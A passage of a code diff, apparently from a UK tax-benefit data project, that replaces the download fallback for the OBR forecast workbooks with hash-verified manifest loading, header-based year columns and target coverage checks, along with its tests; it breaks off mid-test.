-            retry_after = r.headers.get("Retry-After", "")
-            if retry_after.isdigit():
-                wait = int(retry_after)
-        if attempt < _DOWNLOAD_MAX_ATTEMPTS - 1:
-            logger.warning(
-                "OBR download %s failed (%s); retrying in %ss",
-                url,
-                last_error,
-                wait,
-            )
-            time.sleep(wait)
-    fallback = _fallback_workbook(url)
-    if fallback is not None:
-        logger.warning(
-            "OBR download %s failed (%s); using committed workbook fallback",
-            url,
-            last_error,
-        )
-        return fallback
-    raise last_error
-
-
-def _read_row_values(ws, row_num: int, col_letters: list[str]) -> dict[int, float]:
-    """Read numeric values from a row, mapped to calendar years."""
-    result = {}
-    for col in col_letters:
-        cell = ws[f"{col}{row_num}"]
-        val = cell.value
-        if val is not None and isinstance(val, (int, float)):
-            result[_FY_COL_TO_YEAR[col]] = float(val) * 1e9
-    return result
-
 
 def _find_receipts_sheet(wb):
     """Return the current-receipts worksheet, located by title.
@@ -193,7 +71,9 @@ def _find_row(ws, label: str, col: str = "B", max_row: int = 80) -> int:
     raise ValueError(f"Row '{label}' not found in sheet")
 
 
-def _parse_receipts(wb: openpyxl.Workbook) -> list[Target]:
+def _parse_receipts(
+    wb: openpyxl.Workbook, manifest: ObrManifest | None = None
+) -> list[Target]:
     """Parse tax receipts from the OBR EFO.
 
     Income tax uses Table 3.4 (accrued basis) for consistency with
@@ -201,32 +81,8 @@ def _parse_receipts(wb: openpyxl.Workbook) -> list[Target]:
     current-receipts table (cash basis) since they only appear there; that
     table is located by title because EFO vintages renumber the sheets.
     """
-    config = load_config()
-    vintage = config["obr"]["vintage"]
-    ref = config["obr"]["efo_receipts"]
-    cols_34 = list(_FY_COL_TO_YEAR.keys())
-
-    # Table 3.9 columns are shifted right by one vs 3.4
-    cols_39 = ["D", "E", "F", "G", "H", "I", "J"]
-    fy_39 = {
-        "D": 2024,
-        "E": 2025,
-        "F": 2026,
-        "G": 2027,
-        "H": 2028,
-        "I": 2029,
-        "J": 2030,
-    }
-
-    def read_39(ws, row_num: int) -> dict[int, float]:
-        result = {}
-        for col in cols_39:
-            cell = ws[f"{col}{row_num}"]
-            val = cell.value
-            if val is not None and isinstance(val, (int, float)):
-                result[fy_39[col]] = float(val) * 1e9
-        return result
-
+    manifest = manifest or active_manifest()
+    vintage, ref = manifest.vintage, manifest.files["receipts"].url
     targets = []
 
     # Income tax from Table 3.4 (accrued basis)
@@ -235,7 +91,7 @@ def read_39(ws, row_num: int) -> dict[int, float]:
         row_num = _find_row(
             ws34, "Income tax (gross of tax credits)", col="B", max_row=30
         )
-        values = _read_row_values(ws34, row_num, cols_34)
+        values = read_row(ws34, row_num, manifest)
         if values:
             targets.append(
                 Target(
@@ -268,7 +124,7 @@ def read_39(ws, row_num: int) -> dict[int, float]:
     for name, (label, variable) in cash_rows.items():
         try:
             row_num = _find_row(ws39, label, col="B", max_row=80)
-            values = read_39(ws39, row_num)
+            values = read_row(ws39, row_num, manifest)
             if values:
                 recovered.append(label)
                 targets.append(
@@ -299,33 +155,14 @@ def read_39(ws, row_num: int) -> dict[int, float]:
     return targets
 
 
-def _parse_council_tax(wb: openpyxl.Workbook) -> list[Target]:
+def _parse_council_tax(
+    wb: openpyxl.Workbook, manifest: ObrManifest | None = None
+) -> list[Target]:
     """Parse Table 4.1 (council tax receipts) from expenditure xlsx."""
-    config = load_config()
-    vintage = config["obr"]["vintage"]
-    ref = config["obr"]["efo_expenditure"]
+    manifest = manifest or active_manifest()
+    vintage, ref = manifest.vintage, manifest.files["expenditure"].url
     ws = wb["4.1"]
 
-    cols = ["C", "D", "E", "F", "G", "H", "I"]
-    fy = {
-        "C": 2024,
-        "D": 2025,
-        "E": 2026,
-        "F": 2027,
-        "G": 2028,
-        "H": 2029,
-        "I": 2030,
-    }
-
-    def read_41(row_num: int) -> dict[int, float]:
-        result = {}
-        for col in cols:
-            cell = ws[f"{col}{row_num}"]
-            val = cell.value
-            if val is not None and isinstance(val, (int, float)):
-                result[fy[col]] = float(val) * 1e9
-        return result
-
     ct_rows = {
         "council_tax": ("Total net council tax receipts", "council_tax"),
         "council_tax_england": (
@@ -344,7 +181,7 @@ def read_41(row_num: int) -> dict[int, float]:
     for name, (label, variable) in ct_rows.items():
         try:
             row_num = _find_row(ws, label, col="B", max_row=30)
-            values = read_41(row_num)
+            values = read_row(ws, row_num, manifest)
             if values:
                 targets.append(
                     Target(
@@ -363,7 +200,9 @@ def read_41(row_num: int) -> dict[int, float]:
     return targets
 
 
-def _parse_nics(wb: openpyxl.Workbook) -> list[Target]:
+def _parse_nics(
+    wb: openpyxl.Workbook, manifest: ObrManifest | None = None
+) -> list[Target]:
     """Parse Table 3.4 (income tax and NICs detail) for all NIC classes.
 
     Covers Class 1 employee and employer (PAYE), plus Classes 2, 3 and 4
@@ -375,11 +214,9 @@ def _parse_nics(wb: openpyxl.Workbook) -> list[Target]:
     Where a row label is not found the parser logs a warning and skips that
     variable, so partial matches still produce useful targets.
     """
-    config = load_config()
-    vintage = config["obr"]["vintage"]
-    ref = config["obr"]["efo_receipts"]
+    manifest = manifest or active_manifest()
+    vintage, ref = manifest.vintage, manifest.files["receipts"].url
     ws = wb["3.4"]
-    cols = list(_FY_COL_TO_YEAR.keys())
 
     # Map of target name → (list of candidate labels to search, variable
     # name). Candidates let us accept minor wording variation in OBR EFOs
@@ -455,7 +292,7 @@ def _parse_nics(wb: openpyxl.Workbook) -> list[Target]:
             )
             continue
 
-        values = _read_row_values(ws, row_num, cols)
+        values = read_row(ws, row_num, manifest)
         if not values:
             continue
 
@@ -499,32 +336,16 @@ def _universal_credit_rows(ws) -> tuple[int, int]:
     return inside[0], outside[0]
 
 
-def _parse_welfare(wb: openpyxl.Workbook) -> list[Target]:
+def _parse_welfare(
+    wb: openpyxl.Workbook, manifest: ObrManifest | None = None
+) -> list[Target]:
     """Parse Table 4.9 (welfare spending) from expenditure xlsx."""
-    config = load_config()
-    vintage = config["obr"]["vintage"]
-    ref = config["obr"]["efo_expenditure"]
+    manifest = manifest or active_manifest()
+    vintage, ref = manifest.vintage, manifest.files["expenditure"].url
     ws = wb["4.9"]
 
-    cols = ["C", "D", "E", "F", "G", "H", "I"]
-    fy = {
-        "C": 2024,
-        "D": 2025,
-        "E": 2026,
-        "F": 2027,
-        "G": 2028,
-        "H": 2029,
-        "I": 2030,
-    }
-
     def read_49(row_num: int) -> dict[int, float]:
-        result = {}
-        for col in cols:
-            cell = ws[f"{col}{row_num}"]
-            val = cell.value
-            if val is not None and isinstance(val, (int, float)):
-                result[fy[col]] = float(val) * 1e9
-        return result
+        return read_row(ws, row_num, manifest)
 
     # "Housing benefit (not on JSA)" is not targeted: it is DWP-funded GB
     # spending only, and dwp_housing_benefit.py targets total GB Housing
@@ -617,35 +438,20 @@ def read_49(row_num: int) -> dict[int, float]:
     return targets
 
 
-def _parse_tv_licence(wb: openpyxl.Workbook) -> list[Target]:
+def _parse_tv_licence(
+    wb: openpyxl.Workbook, manifest: ObrManifest | None = None
+) -> list[Target]:
     """Parse Table 4.19 (BBC) from expenditure xlsx."""
-    config = load_config()
-    vintage = config["obr"]["vintage"]
-    ref = config["obr"]["efo_expenditure"]
+    manifest = manifest or active_manifest()
+    vintage, ref = manifest.vintage, manifest.files["expenditure"].url
 
     try:
         ws = wb["4.19"]
-        cols = ["C", "D", "E", "F", "G", "H", "I"]
-        fy = {
-            "C": 2024,
-            "D": 2025,
-            "E": 2026,
-            "F": 2027,
-            "G": 2028,
-            "H": 2029,
-            "I": 2030,
-        }
-
         # Find "Licence fee receipts" or "BBC licence fee"
         for row_num in range(1, 30):
             val = ws[f"B{row_num}"].value
             if val and "licence fee" in str(val).lower():
-                values = {}
-                for col in cols:
-                    cell = ws[f"{col}{row_num}"]
-                    v = cell.value
-                    if v is not None and isinstance(v, (int, float)):
-                        values[fy[col]] = float(v) * 1e9
+                values = read_row(ws, row_num, manifest)
                 if values:
                     return [
                         Target(
@@ -658,7 +464,7 @@ def _parse_tv_licence(wb: openpyxl.Workbook) -> list[Target]:
                             forecast_vintage=vintage,
                         )
                     ]
-    except Exception:
+    except (KeyError, ValueError):
         logger.warning("OBR: TV licence table not found")
 
     return []
@@ -683,24 +489,29 @@ def _parse_tv_licence(wb: openpyxl.Workbook) -> list[Target]:
 }
 
 
-def get_targets() -> list[Target]:
-    config = load_config()
-    targets = []
+def workbook_targets(manifest: ObrManifest | None = None, storage=None) -> list[Target]:
+    """The targets a vintage's two verified workbooks yield.
 
-    try:
-        receipts_wb = _download_workbook(config["obr"]["efo_receipts"])
-        targets.extend(_parse_receipts(receipts_wb))
-        targets.extend(_parse_nics(receipts_wb))
-    except Exception as e:
-        logger.error("Failed to download/parse OBR receipts: %s", e)
+    Fails if either workbook is not the file its manifest names, or if any
+    target or year the manifest requires is missing.
+    """
+    manifest = manifest or active_manifest()
+    receipts = load_workbook("receipts", manifest, storage)
+    expenditure = load_workbook("expenditure", manifest, storage)
+    targets = [
+        *_parse_receipts(receipts, manifest),
+        *_parse_nics(receipts, manifest),
+        *_parse_council_tax(expenditure, manifest),
+        *_parse_welfare(expenditure, manifest),
+        *_parse_tv_licence(expenditure, manifest),
+    ]
+    check_coverage(targets, manifest)
+    return targets
 
-    try:
-        expenditure_wb = _download_workbook(config["obr"]["efo_expenditure"])
-        targets.extend(_parse_council_tax(expenditure_wb))
-        targets.extend(_parse_welfare(expenditure_wb))
-        targets.extend(_parse_tv_licence(expenditure_wb))
-    except Exception as e:
-        logger.error("Failed to download/parse OBR expenditure: %s", e)
+
+def get_targets() -> list[Target]:
+    # Not caught: a calibration without the OBR targets is never correct.
+    targets = workbook_targets()
 
     # Static targets that don't come from the xlsx
     targets.append(
diff --git a/policyengine_uk_data/tests/test_dwp_housing_benefit_targets.py b/policyengine_uk_data/tests/test_dwp_housing_benefit_targets.py
index 53cd1c46..f6061217 100644
--- a/policyengine_uk_data/tests/test_dwp_housing_benefit_targets.py
+++ b/policyengine_uk_data/tests/test_dwp_housing_benefit_targets.py
@@ -228,6 +228,9 @@ def test_obr_housing_benefit_row_is_not_parsed():
     wb = openpyxl.Workbook()
     ws = wb.active
     ws.title = "4.9"
+    ws["A1"] = "£ billion"
+    for col, year in zip("CDEFGHI", range(2024, 2031)):
+        ws[f"{col}1"] = f"{year}-{(year + 1) % 100:02d}"
     ws["B2"] = "Housing benefit (not on JSA)1"
     ws["B3"] = "Attendance allowance"
     for row in (2, 3):
diff --git a/policyengine_uk_data/tests/test_esa_jsa_targets.py b/policyengine_uk_data/tests/test_esa_jsa_targets.py
index b3e7585a..894e0d81 100644
--- a/policyengine_uk_data/tests/test_esa_jsa_targets.py
+++ b/policyengine_uk_data/tests/test_esa_jsa_targets.py
@@ -26,6 +26,9 @@ def test_obr_jobseekers_allowance_maps_to_total_jsa():
     wb = openpyxl.Workbook()
     ws = wb.active
     ws.title = "4.9"
+    ws["A1"] = "£ billion"
+    for col, year in zip("CDEFGHI", range(2024, 2031)):
+        ws[f"{col}1"] = f"{year}-{(year + 1) % 100:02d}"
     ws["B2"] = "Jobseeker's allowance"
     ws["C2"] = 0.2
     ws["D2"] = 0.3
diff --git a/policyengine_uk_data/tests/test_obr_efo_fallback.py b/policyengine_uk_data/tests/test_obr_efo_fallback.py
deleted file mode 100644
index 5884642c..00000000
--- a/policyengine_uk_data/tests/test_obr_efo_fallback.py
+++ /dev/null
@@ -1,250 +0,0 @@
-"""Tests for the committed EFO workbook fallback.
-
-obr.uk serves 403 Forbidden to GitHub Actions runner IPs, and losing the
-workbooks silently drops 28 OBR targets and calibrates a degraded dataset
-(observed on the 2026-07-21 push builds). obr.uk can also answer 200 with
-an HTML "No Access" page, which once escaped the fallback as a BadZipFile
-and dropped the nine receipts and NICs targets (observed 2026-10-04). These
-tests pin: the fallback workbooks are committed and parseable, every kind of
-failed download uses them instead of raising, and permanent failures do not
-burn the retry budget.
-"""
-
-import io
-import logging
-import zipfile
-from contextlib import contextmanager
-from types import SimpleNamespace
-from unittest.mock import patch
-
-import pytest
-import requests
-
-from policyengine_uk_data.storage import STORAGE_FOLDER
-from policyengine_uk_data.targets.sources import obr
-from policyengine_uk_data.targets.sources._common import load_config
-
-
-@pytest.fixture(autouse=True)
-def _clear_workbook_cache():
-    obr._download_workbook.cache_clear()
-    yield
-    obr._download_workbook.cache_clear()
-
-
-def _response(status_code, content=b"", content_type=None):
-    headers = {"Content-Type": content_type} if content_type else {}
-    return SimpleNamespace(status_code=status_code, headers=headers, content=content)
-
-
-def _zip(members: dict[str, str]) -> bytes:
-    buffer = io.BytesIO()
-    with zipfile.ZipFile(buffer, "w") as archive:
-        for name, data in members.items():
-            archive.writestr(name, data)
-    return buffer.getvalue()
-
-
-def _connection_error():
-    raise requests.ConnectionError("no route to obr.uk")
-
-
-_NO_ACCESS_PAGE = (
-    b"<!DOCTYPE html><html><head>"
-    b"<title>No Access - Office for Budget Responsibility</title>"
-    b"</head><body><h1>No Access</h1></body></html>"
-)
-
-# Every way the download can fail, with the number of requests it should
-# cost: transient failures use the full retry budget, permanent ones one.
-_FAILED_DOWNLOADS = {
-    "200-html-page": (
-        lambda: _response(200, _NO_ACCESS_PAGE, "text/html; charset=UTF-8"),
-        1,
-    ),
-    "200-empty-body": (lambda: _response(200), 1),
-    "200-truncated-zip": (lambda: _response(200, b"PK\x03\x04garbage"), 1),
-    "200-zip-without-xlsx-manifest": (
-        lambda: _response(200, _zip({"readme.txt": "not a workbook"})),
-        1,
-    ),
-    "200-zip-without-workbook-part": (
-        lambda: _response(
-            200,
-            _zip(
-                {
-                    "[Content_Types].xml": '<Types xmlns="http://schemas.'
-                    'openxmlformats.org/package/2006/content-types"/>'
-                }
-            ),
-        ),
-        1,
-    ),
-    "200-zip-with-malformed-xml": (
-        lambda: _response(200, _zip({"[Content_Types].xml": "<Types"})),
-        1,
-    ),
-    "403": (lambda: _response(403), 1),
-    "404": (lambda: _response(404), 1),
-    "500-until-retries-run-out": (
-        lambda: _response(500),
-        obr._DOWNLOAD_MAX_ATTEMPTS,
-    ),
-    "connection-error": (_connection_error, obr._DOWNLOAD_MAX_ATTEMPTS),
-}
-
-_EFO_URL_KEYS = ["efo_receipts", "efo_expenditure"]
-
-_RECEIPTS_AND_NICS_TARGETS = {
-    "obr/income_tax",
-    "obr/ni",
-    "obr/vat",
-    "obr/fuel_duties",
-    "obr/capital_gains_tax",
-    "obr/sdlt",
-    "obr/ni_employee",
-    "obr/ni_employer",
-    "obr/ni_self_employed",
-}
-
-
-@contextmanager
-def _obr_answering(make_response):
-    """Answer every requests.get with make_response(), skip retry sleeps and
-    spy on the fallback. Yields the request and fallback call logs."""
-    requests_made, fallbacks_used = [], []
-    real_fallback = obr._fallback_workbook
-
-    def get(url, *args, **kwargs):
-        requests_made.append(url)
-        return make_response()
-
-    def fallback(url):
-        wb = real_fallback(url)
-        fallbacks_used.append((url, wb))
-        return wb
-
-    with (
-        patch.object(obr.requests, "get", side_effect=get),
-        patch.object(obr.time, "sleep", lambda s: None),
-        patch.object(obr, "_fallback_workbook", side_effect=fallback),
-    ):
-        yield requests_made, fallbacks_used
-
-
-def test_fallback_workbooks_are_committed_and_parseable():
-    for filename in obr._EFO_FALLBACKS.values():
-        path = STORAGE_FOLDER / "obr_efo" / filename
-        assert path.exists(), f"{filename} missing from storage/obr_efo"
-    receipts = obr._fallback_workbook("https://obr.uk/x/efo-receipts/")
-    assert receipts is not None
-    # The receipts sheet lookup must work on the committed vintage.
-    assert obr._find_receipts_sheet(receipts) is not None
-
-
-@pytest.mark.parametrize(
-    "kind, error, cause",
-    [
-        ("403", requests.HTTPError, type(None)),
-        ("200-html-page", ValueError, zipfile.BadZipFile),
-    ],
-)
-def test_unknown_url_with_failed_download_still_raises(kind, error, cause):
-    url = "https://obr.uk/download/some-other-file/"
-    with _obr_answering(_FAILED_DOWNLOADS[kind][0]):
-        with pytest.raises(error, match=f"for url: {url}") as raised:
-            obr._download_workbook(url)
-    assert isinstance(raised.value.__cause__, cause)
-
-
-def _target_names(get):
-    with (
-        patch.object(obr.requests, "get", side_effect=get),
-        patch.object(obr.time, "sleep", lambda s: None),
-    ):
-        return {t.name for t in obr.get_targets()}
-
-
-def test_full_target_set_available_offline():
-    """Offline, the committed workbooks yield every OBR target that the same
-    workbooks yield when obr.uk serves them.
-
-    This compares against the served set rather than a fixed count, because
-    other target sources replace OBR targets over time (the 10/8 release swaps
-    OBR's Housing Benefit, Pension Credit and salary-sacrifice NI relief
-    targets for DWP and HMRC ones, and merges its two UC targets into one).
-    """
-    config = load_config()["obr"]
-    bodies = {
-        config["efo_receipts"]: (
-            STORAGE_FOLDER / "obr_efo" / "efo_receipts.xlsx"
-        ).read_bytes(),
-        config["efo_expenditure"]: (
-            STORAGE_FOLDER / "obr_efo" / "efo_expenditure.xlsx"
-        ).read_bytes(),
-    }
-
-    def served(url, *args, **kwargs):
-        return _response(200, bodies[url])
-
-    def offline(*args, **kwargs):
-        raise requests.ConnectionError("offline")
-
-    served_names = _target_names(served)
-    obr._download_workbook.cache_clear()
-    offline_names = _target_names(offline)
-    assert offline_names == served_names
-    assert {
-        "obr/income_tax",
-        "obr/ni_employee",
-        "obr/ni_employer",
-        "obr/ni_self_employed",
-        "obr/capital_gains_tax",
-        "obr/vat",
-    } <= offline_names
-
-
-@pytest.mark.parametrize("url_key", _EFO_URL_KEYS)
-@pytest.mark.parametrize("kind", list(_FAILED_DOWNLOADS))
-def test_every_failed_download_uses_committed_workbook(kind, url_key):
-    make_response, expected_requests = _FAILED_DOWNLOADS[kind]
-    url = load_config()["obr"][url_key]
-    with _obr_answering(make_response) as (requests_made, fallbacks_used):
-        wb = obr._download_workbook(url)
-    assert fallbacks_used == [(url, wb)], "the committed workbook was not returned"
-    assert len(requests_made) == expected_requests
-
-
-@pytest.mark.parametrize("kind", list(_FAILED_DOWNLOADS))
-def test_every_failed_download_keeps_receipts_and_nics_targets(kind):
-    make_response, _ = _FAILED_DOWNLOADS[kind]
-    with _obr_answering(make_response):
-        names = {t.name for t in obr.get_targets()}
-    assert _RECEIPTS_AND_NICS_TARGETS <= names, sorted(
-        _RECEIPTS_AND_NICS_TARGETS - names
-    )
-
-
-def test_workbook_response_is_parsed_without_fallback():
-    """Positive control: a real xlsx body is used as served."""
-    body = (STORAGE_FOLDER / "obr_efo" / "efo_receipts.xlsx").read_bytes()
-    with _obr_answering(lambda: _response(200, body)) as (
-        requests_made,
-        fallbacks_used,
-    ):
-        wb = obr._download_workbook(load_config()["obr"]["efo_receipts"])
-    assert fallbacks_used == []
-    assert len(requests_made) == 1
-    assert obr._find_receipts_sheet(wb) is not None
-
-
-def test_non_workbook_200_warning_names_url_status_and_parse_error(caplog):
-    caplog.set_level(logging.WARNING, logger=obr.logger.name)
-    url = load_config()["obr"]["efo_receipts"]
-    with _obr_answering(_FAILED_DOWNLOADS["200-html-page"][0]):
-        obr._download_workbook(url)
-    assert (
-        f"200 for url: {url}, but the body (text/html; charset=UTF-8) could "
-        "not be read as an xlsx workbook (BadZipFile: File is not a zip "
-        "file)); using committed workbook fallback"
-    ) in caplog.text
diff --git a/policyengine_uk_data/tests/test_obr_nics.py b/policyengine_uk_data/tests/test_obr_nics.py
index ae1961a9..e6364a35 100644
--- a/policyengine_uk_data/tests/test_obr_nics.py
+++ b/policyengine_uk_data/tests/test_obr_nics.py
@@ -24,8 +24,6 @@
 from __future__ import annotations
 
 import importlib.util
-from unittest.mock import patch
-
 import pytest
 
 if importlib.util.find_spec("openpyxl") is None:
@@ -33,17 +31,13 @@
 
 import openpyxl  # noqa: E402
 
-_FAKE_CONFIG = {
-    "obr": {
-        "vintage": "test",
-        "efo_receipts": "https://example.invalid/receipts",
-        "efo_expenditure": "https://example.invalid/expenditure",
-    }
-}
-
 
 def _populate_sheet(ws, rows: list[tuple[str, list[float]]]) -> None:
-    """Write rows of (label, fy_values) into column B / C-I of ``ws``."""
+    """Write rows of (label, fy_values) into column B / C-I of ``ws``, under
+    a unit label and 2024-25 to 2030-31 year headers in row 1."""
+    ws["A1"] = "£ billion"
+    for col_idx, year in enumerate(range(2024, 2031), start=3):
+        ws.cell(row=1, column=col_idx, value=f"{year}-{(year + 1) % 100:02d}")
     for row_idx, (label, values) in enumerate(rows, start=2):
         ws.cell(row=row_idx, column=2, value=label)
         for col_idx, value in enumerate(values, start=3):
@@ -93,8 +87,7 @@ def test_parse_nics_combined_self_employed_line():
     target alongside Class 1 employee/employer."""
     from policyengine_uk_data.targets.sources import obr as obr_module
 
-    with patch.object(obr_module, "load_config", return_value=_FAKE_CONFIG):
-        targets = obr_module._parse_nics(_build_combined_efo_workbook())
+    targets = obr_module._parse_nics(_build_combined_efo_workbook())
 
     names = {t.name for t in targets}
     assert names == {
@@ -114,8 +107,7 @@ def test_parse_nics_falls_back_to_separate_classes_for_old_efo():
     the legacy candidates pick them up individually."""
     from policyengine_uk_data.targets.sources import obr as obr_module
 
-    with patch.object(obr_module, "load_config", return_value=_FAKE_CONFIG):
-        targets = obr_module._parse_nics(_build_separate_efo_workbook())
+    targets = obr_module._parse_nics(_build_separate_efo_workbook())
 
     names = {t.name for t in targets}
     assert names == {
@@ -134,8 +126,7 @@ def test_parse_nics_intentionally_skips_class_3_in_combined_efo():
     "Other NIC" and the parser must not emit it (#378)."""
     from policyengine_uk_data.targets.sources import obr as obr_module
 
-    with patch.object(obr_module, "load_config", return_value=_FAKE_CONFIG):
-        targets = obr_module._parse_nics(_build_combined_efo_workbook())
+    targets = obr_module._parse_nics(_build_combined_efo_workbook())
 
     assert "obr/ni_class_3" not in {t.name for t in targets}
     assert "ni_class_3" not in {t.variable for t in targets}
@@ -146,8 +137,7 @@ def test_parse_nics_intentionally_skips_class_3_in_separate_efo():
     a target for it — the underlying PE-UK variable has no signal (#378)."""
     from policyengine_uk_data.targets.sources import obr as obr_module
 
-    with patch.object(obr_module, "load_config", return_value=_FAKE_CONFIG):
-        targets = obr_module._parse_nics(_build_separate_efo_workbook())
+    targets = obr_module._parse_nics(_build_separate_efo_workbook())
 
     assert "obr/ni_class_3" not in {t.name for t in targets}
     assert "ni_class_3" not in {t.variable for t in targets}
@@ -171,8 +161,7 @@ def test_parse_nics_tolerates_alt_label_wording():
         ],
     )
 
-    with patch.object(obr_module, "load_config", return_value=_FAKE_CONFIG):
-        targets = obr_module._parse_nics(wb)
+    targets = obr_module._parse_nics(wb)
 
     assert {t.variable for t in targets} == {
         "ni_employee",
diff --git a/policyengine_uk_data/tests/test_obr_receipts_sheet.py b/policyengine_uk_data/tests/test_obr_receipts_sheet.py
index d8b2928d..19642096 100644
--- a/policyengine_uk_data/tests/test_obr_receipts_sheet.py
+++ b/policyengine_uk_data/tests/test_obr_receipts_sheet.py
@@ -91,6 +91,9 @@ def _receipts_wb(*, populate: bool) -> openpyxl.Workbook:
     wb.create_sheet("3.4")["B2"] = "3.4 Income tax (accrued basis)"
     ws = wb.create_sheet("3.8")
     ws["B2"] = "3.8 Current receipts (on a cash basis)"
+    ws["D3"] = "£ billion"
+    for col, year in zip("DEFGHIJ", range(2024, 2031)):
+        ws[f"{col}5"] = f"{year}-{(year + 1) % 100:02d}"
     labels = [
         "National insurance contributions",
         "Value added tax",
@@ -107,26 +110,18 @@ def _receipts_wb(*, populate: bool) -> openpyxl.Workbook:
     return wb
 
 
-def test_raises_when_rows_are_found_but_yield_no_values(monkeypatch):
+def test_raises_when_rows_are_found_but_yield_no_values():
     """A column shift finds every label and still produces nothing.
 
     The guard must key on targets produced, not on exceptions caught, or this
     reproduces the silent drop by a different route.
     """
-    monkeypatch.setattr(
-        "policyengine_uk_data.targets.sources.obr.load_config",
-        lambda: {"obr": {"vintage": "test", "efo_receipts": "https://example.invalid"}},
-    )
     with pytest.raises(ValueError, match="produced values"):
         _parse_receipts(_receipts_wb(populate=False))
 
 
-def test_parses_rows_when_values_are_present(monkeypatch):
+def test_parses_rows_when_values_are_present():
     """The same sheet with values yields one target per cash-basis row."""
-    monkeypatch.setattr(
-        "policyengine_uk_data.targets.sources.obr.load_config",
-        lambda: {"obr": {"vintage": "test", "efo_receipts": "https://example.invalid"}},
-    )
     targets = _parse_receipts(_receipts_wb(populate=True))
     names = {target.name for target in targets}
     assert "obr/capital_gains_tax" in names
diff --git a/policyengine_uk_data/tests/test_obr_sources.py b/policyengine_uk_data/tests/test_obr_sources.py
new file mode 100644
index 00000000..80ae2967
--- /dev/null
+++ b/policyengine_uk_data/tests/test_obr_sources.py
@@ -0,0 +1,385 @@
+"""Hash-bound OBR workbooks, header-read years and required target coverage.
+
+The OBR targets come only from the workbook bytes the active manifest names.
+These tests pin that:
+- other bytes, or a workbook with another title, are refused;
+- year columns follow the header row, not the column letter;
+- a missing target or year fails;
+- ingesting a vintage reproduces the build's own targets.
+"""
+
+import io
+import shutil
+
+import openpyxl
+import pytest
+from hypothesis import HealthCheck, given, settings
+from hypothesis import strategies as st
+
+from policyengine_uk_data.storage import STORAGE_FOLDER
+from policyengine_uk_data.targets import obr_sources
+from policyengine_uk_data.targets.obr_sources import (
+    SourceError,
+    active_manifest,
+    check_coverage,
+    coverage_problems,
+    ingest,
+    load_workbook,
+    parse_manifest,
+    read_row,
+    verified_bytes,
+    year_columns,
+)
+from policyengine_uk_data.targets.sources import obr
+
+MANIFEST = active_manifest()
+
+
+def _workbook_targets(receipts, expenditure, manifest=MANIFEST):
+    return [
+        *obr._parse_receipts(receipts, manifest),
+        *obr._parse_nics(receipts, manifest),
+        *obr._parse_council_tax(expenditure, manifest),
+        *obr._parse_welfare(expenditure, manifest),
+        *obr._parse_tv_licence(expenditure, manifest),
+    ]
+
+
+def _copy_storage(tmp_path):
+    for entry in MANIFEST.files.values():
+        target = tmp_path / entry.path
+        target.parent.mkdir(parents=True, exist_ok=True)
+        shutil.copyfile(STORAGE_FOLDER / entry.path, target)
+    return tmp_path
+
+
+def test_the_build_reads_the_manifest_files_and_names_their_vintage():
+    assert MANIFEST.vintage == "march_2026"
+    for kind, entry in MANIFEST.files.items():
+        assert verified_bytes(entry)
+        assert obr_sources.workbook_title(load_workbook(kind)) == entry.title
+    targets = obr.get_targets()
+    built = [t for t in targets if t.forecast_vintage == MANIFEST.vintage]
+    assert len(built) == 25
+    assert {t.reference_url for t in built} == {f.url for f in MANIFEST.files.values()}
+    check_coverage(targets, MANIFEST)
+
+
+@settings(
+    max_examples=25,
+    deadline=None,
+    suppress_health_check=[HealthCheck.function_scoped_fixture],
+)
+@given(data=st.data())
+def test_any_change_to_the_bytes_is_refused(tmp_path, data):
+    storage = _copy_storage(tmp_path)
+    entry = MANIFEST.files[data.draw(st.sampled_from(["receipts", "expenditure"]))]
+    path = storage / entry.path
+    original = (STORAGE_FOLDER / entry.path).read_bytes()
+    kind = data.draw(st.sampled_from(["flip", "truncate", "append"]))
+    if kind == "flip":
+        i = data.draw(st.integers(0, len(original) - 1))
+        changed = original[:i] + bytes([original[i] ^ 0x01]) + original[i + 1 :]
+    elif kind == "truncate":
+        changed = original[: data.draw(st.integers(0, len(original) - 1))]
+    else:
+        changed = original + data.draw(st.binary(min_size=1, max_size=16))
+    path.write_bytes(changed)
+    with pytest.raises(SourceError, match="not the file its manifest names"):
+        verified_bytes(entry, storage)
+
+
+def test_a_missing_workbook_fails_the_targets(tmp_path):
+    with pytest.raises(SourceError, match="missing"):
+        obr.workbook_targets(MANIFEST, tmp_path)
+
+
+def test_a_workbook_titled_for_another_vintage_is_refused(tmp_path):
+    """Bytes that match a manifest but carry another vintage's title fail."""
+    entry = MANIFEST.files["receipts"]
+    wb = openpyxl.load_workbook(STORAGE_FOLDER / entry.path)
+    wb["Contents"]["B2"] = entry.title.replace("March 2026", "November 2025")
+    buffer = io.BytesIO()
+    wb.save(buffer)
+    data = buffer.getvalue()
+    (tmp_path / "x.xlsx").write_bytes(data)
+    relabelled = obr_sources.SourceFile(
+        kind="receipts",
+        path="x.xlsx",
+        sha256=obr_sources.sha256_bytes(data),
+        size_bytes=len(data),
+        title=entry.title,
+        url=entry.url,
+        retrieved="test",
+    )
+    manifest = obr_sources.ObrManifest(
+        **{**MANIFEST.__dict__, "files": {**MANIFEST.files, "receipts": relabelled}}
+    )
+    with pytest.raises(SourceError, match="November 2025"):
+        load_workbook("receipts", manifest, tmp_path)
+
+
+# The March 2026 tables' year columns as the loader hard-coded them before it
+# read the headers: an independent reader for a differential check.
+_FIXED = {
+    "3.4": dict(zip("CDEFGHI", range(2024, 2031))),
+    "3.8": dict(zip("DEFGHIJ", range(2024, 2031))),
+    "4.1": dict(zip("CDEFGHI", range(2024, 2031))),
+    "4.9": dict(zip("CDEFGHI", range(2024, 2031))),
+    "4.19": dict(zip("CDEFGHI", range(2024, 2031))),
+}
+_ROWS = {
+    "obr/income_tax": ("receipts", "3.4", "Income tax (gross of tax credits)"),
+    "obr/ni_employer": ("receipts", "3.4", "Class 1 Employer NICs"),
+    "obr/vat": ("receipts", "3.8", "Value added tax"),
+    "obr/sdlt": ("receipts", "3.8", "Stamp duty land tax"),
+    "obr/council_tax_wales": ("expenditure", "4.1", "Wales council tax receipts"),
+    "obr/child_benefit": ("expenditure", "4.9", "Child benefit"),
+    "obr/state_pension": ("expenditure", "4.9", "State pension"),
+}
+
+
+def test_header_read_years_match_the_fixed_columns_on_march_2026():
+    books = {kind: load_workbook(kind) for kind in ("receipts", "expenditure")}
+    targets = {
+        t.name: t for t in _workbook_targets(books["receipts"], books["expenditure"])
+    }
+    for sheet, fixed in _FIXED.items():
+        ws = books["receipts" if sheet.startswith("3") else "expenditure"][sheet]
+        assert year_columns(ws, 2024, 2030) == fixed, sheet
+    for name, (kind, sheet, label) in _ROWS.items():
+        ws = books[kind][sheet]
+        row = obr._find_row(ws, label, max_row=80)
+        expected = {
